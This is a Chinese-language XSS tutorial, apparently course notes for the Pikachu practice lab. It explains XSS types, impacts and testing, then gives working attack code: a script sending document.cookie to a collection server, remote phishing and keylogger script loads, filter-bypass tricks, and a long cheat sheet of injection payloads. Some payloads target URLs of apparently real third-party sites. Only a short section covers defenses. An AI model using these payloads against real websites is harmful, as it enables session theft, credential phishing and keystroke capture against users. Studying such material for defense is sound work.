XSS跨站脚本攻击
一、什么是 XSS
XSS全称(Cross Site Scripting)跨站脚本攻击,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。
从上面中的一段话,可以得知,XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。
XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而如今的互联网客户端脚本基本是基于Javascript,所以如果想要深入研究XSS,必须要精通Javascript。
XSS换句话说,JavaScript能做到什么效果,XSS的胃口就有多大。这完全不是危言耸听。javascript可以用来获取用户的cookie,弹出窗口,那么存在XSS漏洞的网站,XSS就可以用来盗取用户Cookie,废掉页面,导航到恶意网站!更高端的XSS代码完全可以进行监控你的键盘操作,模仿Windows注销界面,诱导你输入开机密码!而攻击者需要做的仅仅是向你的代码中注入Javascript代码!
二、XSS漏洞出现的原因
程序对输入和输出的控制不够严格,导致"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害.
三、XSS的危害
1、首先对于那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用。一般在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中,造成的杀伤力却十分强大。
2、劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。
3、“框架钓鱼”。利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。
4、挂马(水坑攻击)
5、有局限性的键盘记录
四、 XSS分类
1、反射型XSS或不持久型XSS
交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
?>
2、储存型XSS 或持久型 XSS
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。
3、DOM XSS
不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。
什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。
http://www.w3school.com.cn/htmldom/index.asp
<a href='"+str+"'>what do you see?</a>
<a href='#' onclick="alert(1111)">what do you see?</a>
<a href='#' onclick="alert(2222)">what do you see?</a>
五、XSS可能存在的地方(参考xss跨站脚本攻击文档)
HTML context
Attribute Context
URL Context
Style Context
Script Context
六、XSS测试方法
1、工具扫描:APPscan、AWVS
2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF
使用手工检测Web应用程序是否存在XSS漏洞时,最重要的是考虑那里有输入,输入的数据在什么地方输出。在进行手工检测XSS时,人毕竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。
(1)在目标站点上找到输入点,比如查询接口,留言板等;
(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
七、实战
1、xss平台搭建及后台使用(cookie获取)
<script>document.location = 'http://192.168.0.101/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
//通过document.location 实例进行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=
2、反射型XSS(POST)获取用户密码
post攻击利用页面 D:phpStudyWWWpikachupkxssxcookiepost.html
http://192.168.0.103:8080/post.html
3、xss钓鱼演示
钓鱼攻击利用页面 D:phpStudyWWWpikachupkxssxfish
<script src="http://192.168.0.101/pikachu/pkxss/xfish/fish.php"></script>
4、xss获取键盘记录演示
(1)、什么是跨域
http:// www. oldboyedu.com :80 / news/index.php
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
(2)、同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象
那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
(3)、同源策略修改
D:phpStudyWWWpikachupkxss
keypress
kserver.php
同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。
(4)rk.js关键代码解读
var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串
xl+=realkey; //赋值给x1
show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容
输入设置好的恶意JS代码:
<script src="http://192.168.0.101/pikachu/pkxss/rkeypress/rk.js"></script>然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果
5.XSS盲打
XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。
管理员后台: http://http://192.168.0.101/pikachu/vul/xss/xssblind/admin_login.php
八、XSS绕过
大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。
xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。
(1)对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
(2)防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。
例:<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
(3)防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
例:<sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt>
(4)使用注释来干扰后台对输入内容的识别。
例:<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
(5)编码
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
例:使用事件属性onerror(): <img src=# onerror="alert('oldboy')"/>
使用HTML进行编码: <img src=x onerror="alert('yangshuang')"/>
九、XSS绕过之htmlspecialchars()函数
htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
可使用以下语句绕过: q' onclick='alert(111)'
八、XSS常规防范
XSS防御的总体思路是:对输入进行过滤,对输出进行编码
过滤:根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()
xss之href输出绕过:javascript:alert(1111) 直接代入a标签herf里面一样可以绕过htmlspecialchars
xss之js输出绕过:
<script>
$ms='11'</script><script>alert(1111)</script> ;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
payload
'"><sCrIpT>alert(63252)</sCrIpT> 大小写绕过
'"><IFRAME SRC=javascript:alert('XSXSSSs')></IFRAME>
<scr<script>ipt>alert("XXSSSS")</scr</script>ipt> 过滤script绕过
<img src=""onerror="alert('xss')"> 直接k掉script绕过
<script>eval(string.fromcharcode(97,108,101,114,116,40,39,120,115,115,39,41))</script> 包含alert就绕过(括号一串数字是alert(xss)的ASCII值)
</script><script>alert('xss')</script> 构造js绕过
';alert('xss');' htmlentities没有过滤单引号,直接用单引号绕过。
..../example8.php/[/url]'><script>alert('xss')</script> "< 当post 地址使用了当前url的时候,可这样绕过
..../example9.php#<script>alert('xss')</script> 通过构造一个带xss的锚点绕过
<script>1<(br=1)*/%0dalert(1)</script>=<script>1<(br=1)*/<br/>alert(1)</script> 过chrome默认xss过滤器
http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(atob(location.hash.substr(1)))%3C/script%3E#xxxxxx
%22Onclick%3D(outerHTML%3DURL)|%26quot#<img/src=# onerror=alert()>
%27%29%0D%0Aalert%28document.cookie%29%2F%2F
<script>alert("跨站")</script> (最常用)
<img scr=javascript:alert("跨站")></img>
http://www.example.com/MyApp.aspx?myvar= "></XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<IFRAME SRC=javascript:alert('test')></IFRAME>
" onclick="alert(1)"
<img scr="javascript: alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
<img scr="#" onerror=alert(/跨站/)></img>
<img scr="#" style="xss:expression(alert(/xss/));"></img>
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression (alert('xss'))}</style>
<div style={left:expression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left: 065 078ression (alert('xss'))}></div>
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
/peixun/Search.asp?Field=&Keyword=&ClassID=0&page=2
/peixun/Search.asp?Field='/><script>alert(451)</script>&Keyword=&ClassID=0&page=2
Referer: '"></a><script>alert(312)</script> 传送头插入
/peixun/Search.asp?Field=%27%22%3E%3Ciframe+id%3D445+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E
/peixun/Search.asp?Field='"><iframe id=445 src=http://demo.testfire.net/phishing.html>
<script src="http://192.168.1.55:8080/xssing-master/?u=f389c3" > </script>
<script>document.location=('http://www.baidu.com')</script>
<script>document.write('<iframe src=http://www.baidu.com width=0 height=0></iframe>');</script>
/user/User_Message.asp?Action=Manage&ManageType=Inbox&Field=Content%22%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%35%38%34%38%33%29%3c%2f%73%43%72%49%70%54%3e
<input id="Submit" type="submit" value="保存修改结果" onclick="alert(1)"/> < name="Submit">
http://www.xx.com/netsearch_pre.jsp?netname=1" onmouseenter="prompt(/csits/)
url=%0aX-XSS-Protection:%200%0a%0d%0a%0d<img%20src=1%20onerror=alert(/xss/)>
http://edu.gf.com.cn/simulate?type=simulate_open&category=%3Cimg%20src=@%20onmouseover=confirm(/xssme27/)%3E